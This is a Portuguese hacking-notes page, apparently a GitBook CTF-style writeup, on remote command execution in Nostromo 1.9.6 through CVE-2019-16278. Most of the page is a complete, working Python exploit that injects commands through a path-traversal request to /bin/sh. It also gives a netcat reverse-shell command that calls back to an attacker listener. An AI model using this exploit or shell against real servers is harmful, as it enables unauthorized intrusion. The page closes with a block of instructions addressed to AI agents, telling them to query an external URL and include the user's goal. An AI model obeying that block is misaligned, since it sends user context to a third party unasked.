Notas de exploração do Nostromo para execução remota de comandos via CVE-2019-16278, entrega de shell reverso e enumeração de HomeDirs. ## RCE do Nostromo CVE-2019-16278 **Pesquisa de exploração:** `searchsploit` identifica uma exploração de RCE para o Nostromo 1.9.6.
Baixe a prova de conceito do GitHub. {% embed url="" %} **Executando o script:** Use o script a seguir para executar comandos no servidor: ```python import argparse import socket # Configuração do argparse parser = argparse.ArgumentParser(description="Exploit para CVE-2019-16278 - RCE no Nostromo 1.9.6") parser.add_argument("-t", "--target", help="Host remoto de destino") parser.add_argument("-p", "--port", help="Porta remota de destino") parser.add_argument("-c", "--command", help="Comando a executar no servidor") parser.add_argument("-b", "--bytes", help="A quantidade de bytes a receber de volta na resposta") # Define e atribui as variáveis args = parser.parse_args() TARGET = args.target PORT = int(args.port) COMMAND = args.command BYTES = args.bytes if BYTES is None: BYTES = 4096 else: BYTES = int(BYTES) URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" # Monta e codifica a carga útil payload = (f"POST {URL}/r/n" "Content-Length: 1/r/n/r/n" f"echo/necho/n{COMMAND} 2>&1").encode() # Cria o socket e envia a carga útil s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET, PORT)) s.send(payload) # Recebe a resposta e fecha o socket print(s.recv(1024).decode()) print(s.recv(BYTES).decode()) s.close() ``` ```bash python exploit.py -t 10.10.10.165 -p 80 -c whoami ```
**Obtendo uma shell reversa:** ```bash python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443' ``` ```bash sudo nc -nlvp 443 ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/cms/nostromo-cms-exploitation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
